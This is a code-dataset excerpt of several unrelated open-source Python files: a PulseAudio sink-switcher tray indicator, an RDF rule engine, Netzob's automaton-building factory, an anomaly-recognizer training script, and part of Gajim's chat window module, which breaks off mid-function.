#!/usr/bin/env python3 # # Note: # A re-implementaion (primary for myself) of: # https://github.com/yktoo/indicator-sound-switcher # Icon(s) by: https://github.com/yktoo/indicator-sound-switcher # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from gi.repository import Gtk, GLib from gi.repository import AppIndicator3 as appindicator import os.path import subprocess from collections import OrderedDict class AudioSinkSwitcher: """AudioSinkSwitcher: Ubuntu Appindicator to switch between audio sinks.""" def __init__(self): """Construct AudioSinkSwitcher: create Appindicator.""" self.ind = appindicator.Indicator.new_with_path("audio-sink-switcher", "audio-sink-switcher-icon", appindicator.IndicatorCategory.APPLICATION_STATUS, os.path.dirname(os.path.realpath(__file__))) self.ind.set_status(appindicator.IndicatorStatus.ACTIVE) self.ind.set_attention_icon("audio-sink-switcher-icon") self.menu = Gtk.Menu() self.sinks = AudioSinkSwitcher.get_sink_list() self.create_menu() self.ind.connect("scroll-event", self.scroll) # GLib.timeout_add(5000, self.handler_timeout) def create_menu(self): """Create Appindicator menu.""" # add sink list to menud for label in self.sinks.keys(): item = Gtk.MenuItem(label) item.connect("activate", self.set_sink) item.show() self.menu.append(item) # add menu separator item = Gtk.SeparatorMenuItem() item.show() self.menu.append(item) # add quit item item = Gtk.MenuItem("Refresh") item.connect("activate", self.refresh) item.show() self.menu.append(item) # add quit item item = Gtk.MenuItem("Quit") item.connect("activate", self.quit) item.show() self.menu.append(item) self.ind.set_menu(self.menu) def main(self): """Run GTK main.""" Gtk.main() def quit(self, w): """Quit application.""" Gtk.main_quit() def scroll(self, ind, steps, direction): "Refresh menu items on scroll event." self.refresh(None) # def handler_timeout(self): # """Refresh on Glib timeout.""" # self.refresh(None) # GLib.timeout_add(5000, self.handler_timeout) def refresh(self, w): """Refresh menu items.""" self.sinks = AudioSinkSwitcher.get_sink_list() # remove all menu items for child in self.menu.get_children(): self.menu.remove(child) self.create_menu() def set_sink(self, w): """Set default sink associated to activated menu item.""" label = w.get_label() p1 = subprocess.Popen(["pacmd", "list-sink-inputs"], stdout=subprocess.PIPE) p2 = subprocess.Popen(["grep", "index"], stdin=p1.stdout, stdout=subprocess.PIPE) grep_index = p2.communicate()[0] p1.stdout.close() p2.stdout.close() grep_index = grep_index.decode("utf-8") grep_index = grep_index.splitlines() # use pipe and close to suppress output of pacmd p1 = subprocess.Popen(["pacmd", "set-default-sink", str(self.sinks[label])], stdout=subprocess.PIPE) p1.stdout.close() # print("Setting default sink to '{:s}' (index: {:d})".format(label, self.sinks[label])) if (grep_index): # list of sink inputs not empty for line in grep_index: sink_input = line.split()[-1] # use pipe and close to suppress output of pacmd p1 = subprocess.Popen(["pacmd", "move-sink-input", sink_input, str(self.sinks[label])], stdout=subprocess.PIPE) p1.stdout.close() # print("Moving sink input '{:s}' to '{:s}' (index: {:d})".format(sink_input, label, self.sinks[label])) @staticmethod def get_sink_list(): """Retrieve sink list via pacmd. :returns: OrderedDict{sink-name : index} sorted by index """ # get lines from pacmd p1 = subprocess.Popen(["pacmd", "list-sinks"], stdout=subprocess.PIPE) p2 = subprocess.Popen(["grep", "index"], stdin=p1.stdout, stdout=subprocess.PIPE) p1 = subprocess.Popen(["pacmd", "list-sinks"], stdout=subprocess.PIPE) p3 = subprocess.Popen(["grep", "device.description"], stdin=p1.stdout, stdout=subprocess.PIPE) grep_index = p2.communicate()[0] grep_descr = p3.communicate()[0] p1.stdout.close() p2.stdout.close() p3.stdout.close() # extract indices indices = [] # sink indices grep_index = grep_index.decode("utf-8") grep_index = grep_index.splitlines() for line in grep_index: splitted = line.split() indices.append(int(splitted[-1])) # ' * index: <no>' or ' index: <no>' # extract descriptions descr = [] # sink descriptions grep_descr = grep_descr.decode("utf-8") grep_descr = grep_descr.splitlines() for line in grep_descr: idx = line.find(" = ") descr.append(line[idx+4:-1]) # '\t\tdevice.description = "<name>"' assert len(indices) == len(descr) # create dictionary of sinks sinks = {} for i in range(0, len(indices)): sinks[descr[i]] = indices[i] # sort sinks by index sinks = OrderedDict(sorted(sinks.items(), key=lambda d: d[1])) return sinks def main(): gui = AudioSinkSwitcher() gui.main() if __name__ == "__main__": main()
peteroltmann/audio-sink-switcher
audio-sink-switcher.py
Python
gpl-3.0
6,285
from rdflib.Graph import Graph # Uses the forward chaining method, although the backward chaining method and a mixed approach have been considered # http://en.wikipedia.org/wiki/Inference_engine # http://en.wikipedia.org/wiki/Rete_algorithm # http://en.wikipedia.org/wiki/Semantic_reasoner class RuleEngine: context = Graph() resource = Graph() def __init__(self, context, resource): self.context.parseString(context) self.resource.parseString(resource) def search(self, s=None, o=None, p=None): triples = [] for (a, b, c) in self.context: if o is b: if s and p and s is a and p is c: # variables s y p triples.add((a, b, c)) elif s and s is a: # variable s triples.add((a, b, c)) elif p and p is c: # variable p triples.add((a, b, c)) else: # no variable triples.add((a, b, c)) for (a, b, c) in self.resource: if o is b: if s and p and s is a and p is c: # variables s y p triples.add((a, b, c)) elif s and s is a: # variable s triples.add((a, b, c)) elif p and p is c: # variable p triples.add((a, b, c)) else: # no variable triples.add((a, b, c)) return triples def find_variables(self, variables, statement): triples = [] var = [] b = statement[1] if statement[0] in variables.keys() and statement[2] in variables.keys(): a = variables[statement[0]] c = variables[statement[2]] triples = self.search(s=a, o=b, p=c) elif statement[0] in variables.keys(): a = variables[statement[0]] triples = self.search(s=a, o=b) elif statement[2] in variables.keys(): c = variables[statement[2]] triples = self.search(o=b, p=c) else: triples = self.search(o=b) for triple in triples: var.append({statement[0]:triple[0], statement[2]:triple[2]}) return var def process_rule(self, statements, variables = []): if len(statements) == 0: # caso base result = variables else: # caso general result = [] for v in variables: var = self.find_variables(v, statements[0]) for w in var: d = dict(w.items() + v.items()) res = self.process_rule(statements[1:], d) result.append(res) return result
diegomartin/Telemaco
TelemacoServer/src/rule_engine/RuleEngine.py
Python
gpl-3.0
2,972
# -*- coding: utf-8 -*- #+---------------------------------------------------------------------------+ #| 01001110 01100101 01110100 01111010 01101111 01100010 | #| | #| Netzob : Inferring communication protocols | #+---------------------------------------------------------------------------+ #| Copyright (C) 2011-2014 Georges Bossert and Frédéric Guihéry | #| This program is free software: you can redistribute it and/or modify | #| it under the terms of the GNU General Public License as published by | #| the Free Software Foundation, either version 3 of the License, or | #| (at your option) any later version. | #| | #| This program is distributed in the hope that it will be useful, | #| but WITHOUT ANY WARRANTY; without even the implied warranty of | #| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | #| GNU General Public License for more details. | #| | #| You should have received a copy of the GNU General Public License | #| along with this program. If not, see <http://www.gnu.org/licenses/>. | #+---------------------------------------------------------------------------+ #| @url : http://www.netzob.org | #| @contact : [email protected] | #| @sponsors : Amossys, http://www.amossys.fr | #| Supélec, http://www.rennes.supelec.fr/ren/rd/cidre/ | #+---------------------------------------------------------------------------+ #+---------------------------------------------- #| Standard library imports #+---------------------------------------------- #+---------------------------------------------- #| Related third party imports #+---------------------------------------------- #+---------------------------------------------- #| Local application imports #+---------------------------------------------- from netzob.Common.Utils.Decorators import typeCheck, NetzobLogger from netzob.Common.Models.Grammar.States.State import State from netzob.Common.Models.Grammar.Transitions.Transition import Transition from netzob.Common.Models.Grammar.Transitions.OpenChannelTransition import OpenChannelTransition from netzob.Common.Models.Grammar.Transitions.CloseChannelTransition import CloseChannelTransition from netzob.Common.Models.Grammar.Transitions.AbstractTransition import AbstractTransition @NetzobLogger class PTAAutomataFactory(object): @staticmethod @typeCheck(list, list) def generate(abstractSessions, symbolList): """Generate an automata by merging different abstract sessions in a Prefix Tree Acceptor (PTA). """ # Generate chained automatons from the provided list of abstract sessions from netzob.Inference.Grammar.AutomataFactories.ChainedStatesAutomataFactory import ChainedStatesAutomataFactory chainedAutomatons = [] for abstractSession in abstractSessions: chainedAutomaton = ChainedStatesAutomataFactory.generate(abstractSession, symbolList) chainedAutomatons.append(chainedAutomaton) if len(chainedAutomatons) <= 1: return chainedAutomatons[0] # Create an initial state/transition for the PTA automaton ptaInitialState = State("Start state") idx_state = 0 ptaStateA = State("State " + str(idx_state)) ptaStateA_saved = ptaStateA ptaTransition = OpenChannelTransition(startState=ptaInitialState, endState=ptaStateA, name="Open transition") # Merge the other automatons in the PTA automaton for automaton in chainedAutomatons: # Restore the first main state of the PTA ptaStateA = ptaStateA_saved # We go through the first transition (which should be an OpenChannelTransition) initialState = automaton.initialState if initialState is not None and len(initialState.transitions) > 0: transition = initialState.transitions[0] if isinstance(transition, OpenChannelTransition): transition = PTAAutomataFactory._getNextChainedTransition(transition) if transition is None: break # We loop over each state to compare inputSymbol/outputSymbols with the states of the PTA automaton while True: # We handle the closing state if isinstance(transition, CloseChannelTransition): if len(ptaStateA.transitions) > 0 and isinstance(ptaStateA.transitions[0], CloseChannelTransition): # The transition is equivalent in the PTA break else: # This is a new transition idx_state += 1 ptaStateB = State("End state " + str(idx_state)) ptaTransition = CloseChannelTransition(startState=ptaStateA, endState=ptaStateB, name="Close transition") break inputSymbol = transition.inputSymbol outputSymbols = transition.outputSymbols # We do the comparison with the PTA automaton at the transition level newTransition = True if len(ptaStateA.transitions) > 0 and isinstance(ptaStateA.transitions[0], Transition): if ptaStateA.transitions[0].inputSymbol == inputSymbol: if len(ptaStateA.transitions[0].outputSymbols) > 0 and ptaStateA.transitions[0].outputSymbols[0] == outputSymbols[0]: # The transition is equivalent in the PTA newTransition = False ptaStateA = ptaStateA.transitions[0].endState if newTransition == True: idx_state += 1 ptaStateB = State("State " + str(idx_state)) ptaTransition = Transition(startState=ptaStateA, endState=ptaStateB, inputSymbol=inputSymbol, outputSymbols=[outputSymbols[0]], name="Transition") ptaStateA = ptaStateB transition = PTAAutomataFactory._getNextChainedTransition(transition) if transition is None: break from netzob.Common.Models.Grammar.Automata import Automata return Automata(ptaInitialState, symbolList) @staticmethod @typeCheck(AbstractTransition) def _getNextChainedTransition(transition): if transition is None: return None endState = transition.endState if endState is not None: if len(endState.transitions) > 0: return endState.transitions[0] return None
dasbruns/netzob
src/netzob/Inference/Grammar/AutomataFactories/PTAAutomataFactory.py
Python
gpl-3.0
7,287
import pandas as pd import numpy as np import pickle from axiomatic.base import AxiomSystem, TrainingPipeline from axiomatic.axiom_training_stage import * from axiomatic.genetic_recognizer_training_stage import GeneticRecognizerTrainingStage from axiomatic.elementary_conditions import * from axiomatic.objective_function import ObjectiveFunction from axiomatic.abnormal_behavior_recognizer import AbnormalBehaviorRecognizer with open('dataset_1_1.pickle', 'rb') as f: dataset = pickle.load(f) axiom_list = [MinMaxAxiom, MaxAxiom, MinAxiom, ChangeAxiom, IntegralAxiom, RelativeChangeAxiom, FirstDiffAxiom, SecondDiffAxiom] frequency_ec_stage = FrequencyECTrainingStage({'num_part': 50, 'left_window': 5, 'right_window': 5, 'num_axioms': 20, 'axiom_list': axiom_list, 'enable_cache': True}) frequency_axiom_stage = FrequencyAxiomTrainingStage({'num_axioms': 20, 'max_depth': 10, 'num_step_axioms': 5}) clustering_axiom_stage = KMeansClusteringAxiomStage({'clustering_params': {'n_clusters': 5, 'init': 'k-means++', 'n_init': 10}, 'feature_extraction_params': {'sample_length': 20, 'ratio': 0.2}}) genetic_recognizer_stage = GeneticRecognizerTrainingStage(dict(n_jobs=1, population_size=30, iteration_count=30, use_question_mark=False, num_axioms_weight=0.1)) frequency_stage = TrainingPipeline([frequency_ec_stage, frequency_axiom_stage]) axiom_union_stage = AxiomUnionStage([frequency_stage, clustering_axiom_stage]) training_pipeline = TrainingPipeline([clustering_axiom_stage, genetic_recognizer_stage]) artifacts = training_pipeline.train(dataset, dict()) print "Artifacts after training: ", artifacts recognizer = AbnormalBehaviorRecognizer(artifacts['axiom_system'], artifacts['abn_models'], dict(bound=0.1,maxdelta=0.5)) obj_fn = ObjectiveFunction(1, 20) obj_fn_value = obj_fn.calculate(recognizer, dataset['test']) print "Recognizer objective function: ", obj_fn_value
victorshch/axiomatic
test_union_axioms.py
Python
gpl-3.0
1,940
# -*- coding:utf-8 -*- ## src/message_window.py ## ## Copyright (C) 2003-2014 Yann Leboulanger <asterix AT lagaule.org> ## Copyright (C) 2005-2008 Travis Shirk <travis AT pobox.com> ## Nikos Kouremenos <kourem AT gmail.com> ## Copyright (C) 2006 Geobert Quach <geobert AT gmail.com> ## Dimitur Kirov <dkirov AT gmail.com> ## Copyright (C) 2006-2008 Jean-Marie Traissard <jim AT lapin.org> ## Copyright (C) 2007 Julien Pivotto <roidelapluie AT gmail.com> ## Stephan Erb <steve-e AT h3c.de> ## Copyright (C) 2008 Brendan Taylor <whateley AT gmail.com> ## Jonathan Schleifer <js-gajim AT webkeks.org> ## ## This file is part of Gajim. ## ## Gajim is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published ## by the Free Software Foundation; version 3 only. ## ## Gajim is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with Gajim. If not, see <http://www.gnu.org/licenses/>. ## from gi.repository import Gtk from gi.repository import Gdk from gi.repository import GObject from gi.repository import GLib import time import common import gtkgui_helpers import message_control import dialogs from chat_control import ChatControlBase from common import gajim #################### class MessageWindow(object): """ Class for windows which contain message like things; chats, groupchats, etc """ # DND_TARGETS is the targets needed by drag_source_set and drag_dest_set DND_TARGETS = [('GAJIM_TAB', 0, 81)] hid = 0 # drag_data_received handler id ( CLOSE_TAB_MIDDLE_CLICK, CLOSE_ESC, CLOSE_CLOSE_BUTTON, CLOSE_COMMAND, CLOSE_CTRL_KEY ) = range(5) def __init__(self, acct, type_, parent_window=None, parent_paned=None): # A dictionary of dictionaries # where _contacts[account][jid] == A MessageControl self._controls = {} # If None, the window is not tied to any specific account self.account = acct # If None, the window is not tied to any specific type self.type_ = type_ # dict { handler id: widget}. Keeps callbacks, which # lead to cylcular references self.handlers = {} # Don't show warning dialogs when we want to delete the window self.dont_warn_on_delete = False self.widget_name = 'message_window' self.xml = gtkgui_helpers.get_gtk_builder('%s.ui' % self.widget_name) self.window = self.xml.get_object(self.widget_name) self.notebook = self.xml.get_object('notebook') self.parent_paned = None if parent_window: orig_window = self.window self.window = parent_window self.parent_paned = parent_paned self.notebook.reparent(self.parent_paned) self.parent_paned.pack2(self.notebook, resize=True, shrink=True) gajim.interface.roster.xml.get_object('show_roster_menuitem').\ set_sensitive(True) orig_window.destroy() del orig_window # NOTE: we use 'connect_after' here because in # MessageWindowMgr._new_window we register handler that saves window # state when closing it, and it should be called before # MessageWindow._on_window_delete, which manually destroys window # through win.destroy() - this means no additional handlers for # 'delete-event' are called. id_ = self.window.connect_after('delete-event', self._on_window_delete) self.handlers[id_] = self.window id_ = self.window.connect('destroy', self._on_window_destroy) self.handlers[id_] = self.window id_ = self.window.connect('focus-in-event', self._on_window_focus) self.handlers[id_] = self.window keys=['<Control>f', '<Control>g', '<Control>h', '<Control>i', '<Control>l', '<Control>L', '<Control><Shift>n', '<Control>u', '<Control>b', '<Control>F4', '<Control>w', '<Control>Page_Up', '<Control>Page_Down', '<Alt>Right', '<Alt>Left', '<Alt>d', '<Alt>c', '<Alt>m', '<Alt>t', 'Escape'] + \ ['<Alt>'+str(i) for i in list(range(10))] accel_group = Gtk.AccelGroup() for key in keys: keyval, mod = Gtk.accelerator_parse(key) accel_group.connect(keyval, mod, Gtk.AccelFlags.VISIBLE, self.accel_group_func) self.window.add_accel_group(accel_group) # gtk+ doesn't make use of the motion notify on gtkwindow by default # so this line adds that self.window.add_events(Gdk.EventMask.POINTER_MOTION_MASK) id_ = self.notebook.connect('switch-page', self._on_notebook_switch_page) self.handlers[id_] = self.notebook id_ = self.notebook.connect('key-press-event', self._on_notebook_key_press) self.handlers[id_] = self.notebook # Tab customizations pref_pos = gajim.config.get('tabs_position') if pref_pos == 'bottom': nb_pos = Gtk.PositionType.BOTTOM elif pref_pos == 'left': nb_pos = Gtk.PositionType.LEFT elif pref_pos == 'right': nb_pos = Gtk.PositionType.RIGHT else: nb_pos = Gtk.PositionType.TOP self.notebook.set_tab_pos(nb_pos) window_mode = gajim.interface.msg_win_mgr.mode if gajim.config.get('tabs_always_visible') or \ window_mode == MessageWindowMgr.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: self.notebook.set_show_tabs(True) else: self.notebook.set_show_tabs(False) self.notebook.set_show_border(gajim.config.get('tabs_border')) self.show_icon() def change_account_name(self, old_name, new_name): if old_name in self._controls: self._controls[new_name] = self._controls[old_name] del self._controls[old_name] for ctrl in self.controls(): if ctrl.account == old_name: ctrl.account = new_name if self.account == old_name: self.account = new_name def change_jid(self, account, old_jid, new_jid): """ Called when the full jid of the control is changed """ if account not in self._controls: return if old_jid not in self._controls[account]: return if old_jid == new_jid: return self._controls[account][new_jid] = self._controls[account][old_jid] del self._controls[account][old_jid] def get_num_controls(self): return sum(len(d) for d in self._controls.values()) def resize(self, width, height): gtkgui_helpers.resize_window(self.window, width, height) def _on_window_focus(self, widget, event): # window received focus, so if we had urgency REMOVE IT # NOTE: we do not have to read the message (it maybe in a bg tab) # to remove urgency hint so this functions does that gtkgui_helpers.set_unset_urgency_hint(self.window, False) ctrl = self.get_active_control() if ctrl: ctrl.set_control_active(True) # Undo "unread" state display, etc. if ctrl.type_id == message_control.TYPE_GC: self.redraw_tab(ctrl, 'active') else: # NOTE: we do not send any chatstate to preserve # inactive, gone, etc. self.redraw_tab(ctrl) def _on_window_delete(self, win, event): if self.dont_warn_on_delete: # Destroy the window return False # Number of controls that will be closed and for which we'll loose data: # chat, pm, gc that won't go in roster number_of_closed_control = 0 for ctrl in self.controls(): if not ctrl.safe_shutdown(): number_of_closed_control += 1 if number_of_closed_control > 1: def on_yes1(checked): if checked: gajim.config.set('confirm_close_multiple_tabs', False) self.dont_warn_on_delete = True for ctrl in self.controls(): if ctrl.minimizable(): ctrl.minimize() win.destroy() if not gajim.config.get('confirm_close_multiple_tabs'): for ctrl in self.controls(): if ctrl.minimizable(): ctrl.minimize() # destroy window return False dialogs.YesNoDialog( _('You are going to close several tabs'), _('Do you really want to close them all?'), checktext=_('_Do not ask me again'), on_response_yes=on_yes1, transient_for=self.window) return True def on_yes(ctrl): if self.on_delete_ok == 1: self.dont_warn_on_delete = True win.destroy() self.on_delete_ok -= 1 def on_no(ctrl): return def on_minimize(ctrl): ctrl.minimize() if self.on_delete_ok == 1: self.dont_warn_on_delete = True win.destroy() self.on_delete_ok -= 1 # Make sure all controls are okay with being deleted self.on_delete_ok = self.get_nb_controls() for ctrl in self.controls(): ctrl.allow_shutdown(self.CLOSE_CLOSE_BUTTON, on_yes, on_no, on_minimize) return True # halt the delete for the moment def _on_window_destroy(self, win): for ctrl in self.controls(): ctrl.shutdown() self._controls.clear() # Clean up handlers connected to the parent window, this is important since # self.window may be the RosterWindow for i in list(self.handlers.keys()): if self.handlers[i].handler_is_connected(i): self.handlers[i].disconnect(i) del self.handlers[i] del self.handlers def new_tab(self, control): fjid = control.get_full_jid() if control.account not in self._controls: self._controls[control.account] = {} self._controls[control.account][fjid] = control if self.get_num_controls() == 2: # is first conversation_textview scrolled down ? scrolled = False first_widget = self.notebook.get_nth_page(0) ctrl = self._widget_to_control(first_widget) conv_textview = ctrl.conv_textview if conv_textview.at_the_end(): scrolled = True self.notebook.set_show_tabs(True) if scrolled: GLib.idle_add(conv_textview.scroll_to_end_iter) # Add notebook page and connect up to the tab's close button xml = gtkgui_helpers.get_gtk_builder('message_window.ui', 'chat_tab_ebox') tab_label_box = xml.get_object('chat_tab_ebox') widget = xml.get_object('tab_close_button') # this reduces the size of the button # style = Gtk.RcStyle() # style.xthickness = 0 # style.ythickness = 0 # widget.modify_style(style) id_ = widget.connect('clicked', self._on_close_button_clicked, control) control.handlers[id_] = widget id_ = tab_label_box.connect('button-press-event', self.on_tab_eventbox_button_press_event, control.widget) control.handlers[id_] = tab_label_box self.notebook.append_page(control.widget, tab_label_box) self.notebook.set_tab_reorderable(control.widget, True) self.redraw_tab(control) if self.parent_paned: self.notebook.show_all() else: self.window.show_all() # NOTE: we do not call set_control_active(True) since we don't know # whether the tab is the active one. self.show_title() GLib.timeout_add(500, control.msg_textview.grab_focus) def on_tab_eventbox_button_press_event(self, widget, event, child): if event.button == 3: # right click n = self.notebook.page_num(child) self.notebook.set_current_page(n) self.popup_menu(event) elif event.button == 2: # middle click ctrl = self._widget_to_control(child) self.remove_tab(ctrl, self.CLOSE_TAB_MIDDLE_CLICK) else: ctrl = self._widget_to_control(child) GLib.idle_add(ctrl.msg_textview.grab_focus) def _on_message_textview_mykeypress_event(self, widget, event_keyval, event_keymod): # NOTE: handles mykeypress which is custom signal; see message_textview.py # construct event instance from binding event = Gdk.Event(Gdk.EventType.KEY_PRESS) # it's always a key-press here event.keyval = event_keyval event.state = event_keymod event.time = 0 # assign current time if event.get_state() & Gdk.ModifierType.CONTROL_MASK: # Tab switch bindings if event.keyval == Gdk.KEY_Tab: # CTRL + TAB self.move_to_next_unread_tab(True) elif event.keyval == Gdk.KEY_ISO_Left_Tab: # CTRL + SHIFT + TAB self.move_to_next_unread_tab(False) elif event.keyval == Gdk.KEY_Page_Down: # CTRL + PAGE DOWN self.notebook.event(event) elif event.keyval == Gdk.KEY_Page_Up: # CTRL + PAGE UP self.notebook.event(event) def accel_group_func(self, accel_group, acceleratable, keyval, modifier): st = '1234567890' # alt+1 means the first tab (tab 0) control = self.get_active_control() if not control: # No more control in this window return # CTRL mask if modifier & Gdk.ModifierType.CONTROL_MASK: if keyval == Gdk.KEY_h: # CTRL + h if Gtk.Settings.get_default().get_property( 'gtk-key-theme-name') != 'Emacs': control._on_history_menuitem_activate() return True elif control.type_id == message_control.TYPE_CHAT and \ keyval == Gdk.KEY_f: # CTRL + f # CTRL + f moves cursor one char forward when user uses Emacs # theme if not Gtk.Settings.get_default().get_property( 'gtk-key-theme-name') == 'Emacs': control._on_send_file_menuitem_activate(None) return True elif control.type_id == message_control.TYPE_CHAT and \ keyval == Gdk.KEY_g: # CTRL + g control._on_convert_to_gc_menuitem_activate(None) return True elif control.type_id in (message_control.TYPE_CHAT, message_control.TYPE_PM) and keyval == Gdk.KEY_i: # CTRL + i control._on_contact_information_menuitem_activate(None) return True elif keyval == Gdk.KEY_l or keyval == Gdk.KEY_L: # CTRL + l|L control.conv_textview.clear() return True elif keyval == Gdk.KEY_u: # CTRL + u: emacs style clear line control.clear(control.msg_textview) return True elif control.type_id == message_control.TYPE_GC and \ keyval == Gdk.KEY_b: # CTRL + b control._on_bookmark_room_menuitem_activate(None) return True # Tab switch bindings elif keyval == Gdk.KEY_F4: # CTRL + F4 self.remove_tab(control, self.CLOSE_CTRL_KEY) return True elif keyval == Gdk.KEY_w: # CTRL + w # CTRL + w removes latest word before sursor when User uses emacs # theme if not Gtk.Settings.get_default().get_property( 'gtk-key-theme-name') == 'Emacs': self.remove_tab(control, self.CLOSE_CTRL_KEY) return True elif keyval in (Gdk.KEY_Page_Up, Gdk.KEY_Page_Down): # CTRL + PageUp | PageDown # Create event and send it to notebook event = Gdk.Event(Gdk.EventType.KEY_PRESS) event.window = self.window.get_window() event.time = int(time.time()) event.state = Gdk.ModifierType.CONTROL_MASK event.keyval = int(keyval) self.notebook.event(event) return True if modifier & Gdk.ModifierType.SHIFT_MASK: # CTRL + SHIFT if control.type_id == message_control.TYPE_GC and \ keyval == Gdk.KEY_n: # CTRL + SHIFT + n control._on_change_nick_menuitem_activate(None) return True # MOD1 (ALT) mask elif modifier & Gdk.ModifierType.MOD1_MASK: # Tab switch bindings if keyval == Gdk.KEY_Right: # ALT + RIGHT new = self.notebook.get_current_page() + 1 if new >= self.notebook.get_n_pages(): new = 0 self.notebook.set_current_page(new) return True elif keyval == Gdk.KEY_Left: # ALT + LEFT new = self.notebook.get_current_page() - 1 if new < 0: new = self.notebook.get_n_pages() - 1 self.notebook.set_current_page(new) return True elif chr(keyval) in st: # ALT + 1,2,3.. self.notebook.set_current_page(st.index(chr(keyval))) return True elif keyval == Gdk.KEY_c: # ALT + C toggles chat buttons control.chat_buttons_set_visible(not control.hide_chat_buttons) return True elif keyval == Gdk.KEY_m: # ALT + M show emoticons menu control.show_emoticons_menu() return True elif keyval == Gdk.KEY_d: # ALT + D show actions menu if Gtk.Settings.get_default().get_property( 'gtk-key-theme-name') != 'Emacs': control.on_actions_button_clicked(control.actions_button) return True elif control.type_id == message_control.TYPE_GC and \ keyval == Gdk.KEY_t: # ALT + t control._on_change_subject_menuitem_activate(None) return True # Close tab bindings elif keyval == Gdk.KEY_Escape and \ gajim.config.get('escape_key_closes'): # Escape self.remove_tab(control, self.CLOSE_ESC) return True def _on_close_button_clicked(self, button, control): """ When close button is pressed: close a tab """ self.remove_tab(control, self.CLOSE_CLOSE_BUTTON) def show_icon(self): window_mode = gajim.interface.msg_win_mgr.mode icon = None if window_mode == MessageWindowMgr.ONE_MSG_WINDOW_NEVER: ctrl = self.get_active_control() if not ctrl: return icon = ctrl.get_tab_image(count_unread=False) elif window_mode == MessageWindowMgr.ONE_MSG_WINDOW_ALWAYS: pass # keep default icon elif window_mode == MessageWindowMgr.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: pass # keep default icon elif window_mode == MessageWindowMgr.ONE_MSG_WINDOW_PERACCT: pass # keep default icon elif window_mode == MessageWindowMgr.ONE_MSG_WINDOW_PERTYPE: if self.type_ == 'gc': icon = gtkgui_helpers.load_icon('muc_active') else: # chat, pm icon = gtkgui_helpers.load_icon('online') if icon: self.window.set_icon(icon.get_pixbuf()) def show_title(self, urgent=True, control=None): """ Redraw the window's title """ if not control: control = self.get_active_control() if not control: # No more control in this window return unread = 0 for ctrl in self.controls(): if ctrl.type_id == message_control.TYPE_GC and not \ gajim.config.get('notify_on_all_muc_messages') and not \ ctrl.attention_flag: # count only pm messages unread += ctrl.get_nb_unread_pm() continue unread += ctrl.get_nb_unread() unread_str = '' if unread > 1: unread_str = '[' + str(unread) + '] ' elif unread == 1: unread_str = '* ' else: urgent = False if control.type_id == message_control.TYPE_GC: name = control.room_jid.split('@')[0] urgent = control.attention_flag else: name = control.contact.get_shown_name() if control.resource: name += '/' + control.resource window_mode = gajim.interface.msg_win_mgr.mode if window_mode == MessageWindowMgr.ONE_MSG_WINDOW_PERTYPE: # Show the plural form since number of tabs > 1 if self.type_ == 'chat': label = _('Chats') elif self.type_ == 'gc': label = _('Group Chats') else: label = _('Private Chats') elif window_mode == MessageWindowMgr.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER: label = None elif self.get_num_controls() == 1: label = name else: label = _('Messages') title = 'Gajim' if label: title = '%s - %s' % (label, title) if window_mode == MessageWindowMgr.ONE_MSG_WINDOW_PERACCT: title = title + ": " + control.account self.window.set_title(unread_str + title) if urgent: gtkgui_helpers.set_unset_urgency_hint(self.window, unread) else: gtkgui_helpers.set_unset_urgency_hint(self.window, False) def set_active_tab(self, ctrl): ctrl_page = self.notebook.page_num(ctrl.widget) self.notebook.set_current_page(ctrl_page) self.window.present() GLib.idle_add(ctrl.msg_textview.grab_focus) def remove_tab(self, ctrl, method, reason = None, force = False): """ Reason is only for gc (offline status message) if force is True, do not ask any confirmation """ def close(ctrl): if reason is not None: # We are leaving gc with a status message ctrl.shutdown(reason) else: # We are leaving gc without status message or it's a chat ctrl.shutdown() # Update external state gajim.events.remove_events(ctrl.account, ctrl.get_full_jid, types = ['printed_msg', 'chat', 'gc_msg']) fjid = ctrl.get_full_jid() jid = gajim.get_jid_without_resource(fjid) fctrl = self.get_control(fjid, ctrl.account) bctrl = self.get_control(jid, ctrl.account) # keep last_message_time around unless this was our last control with # that jid if not fctrl and not bctrl and \ fjid in gajim.last_message_time[ctrl.account]: del gajim.last_message_time[ctrl.account][fjid] self.notebook.remove_page(self.notebook.page_num(ctrl.widget)) del self._controls[ctrl.account][fjid] if len(self._controls[ctrl.account]) == 0: del self._controls[ctrl.account] self.check_tabs() self.show_title() def on_yes(ctrl): close(ctrl) def on_no(ctrl): return def on_minimize(ctrl): if method != self.CLOSE_COMMAND: ctrl.minimize() self.check_tabs() return close(ctrl) # Shutdown the MessageControl if force: close(ctrl) else: ctrl.allow_shutdown(method, on_yes, on_no, on_minimize) def check_tabs(self): if self.get_num_controls() == 0: # These are not called when the window is destroyed like this, fake it gajim.interface.msg_win_mgr._on_window_delete(self.window, None) gajim.interface.msg_win_mgr._on_window_destroy(self.window) # dnd clean up self.notebook.drag_dest_unset() if self.parent_paned: # Don't close parent window, just remove the child child = self.parent_paned.get_child2() self.parent_paned.remove(child) gajim.interface.roster.xml.get_object('show_roster_menuitem').\ set_sensitive(False) else: self.window.destroy() return # don't show_title, we are dead elif self.get_num_controls() == 1: # we are going from two tabs to one window_mode = gajim.interface.msg_win_mgr.mode show_tabs_if_one_tab = gajim.config.get('tabs_always_visible') or \ window_mode == MessageWindowMgr.ONE_MSG_WINDOW_ALWAYS_WITH_ROSTER self.notebook.set_show_tabs(show_tabs_if_one_tab) def redraw_tab(self, ctrl, chatstate = None): tab = self.notebook.get_tab_label(ctrl.widget) if not tab: return hbox = tab.get_children()[0] status_img = hbox.get_children()[0] nick_label = hbox.get_children()[1] # Optionally hide close button close_button = hbox.get_children()[2] if gajim.config.get('tabs_close_button'): close_button.show() else: close_button.hide() # Update nick nick_label.set_max_width_chars(10) (tab_label_str, tab_label_color) = ctrl.get_tab_label(chatstate) 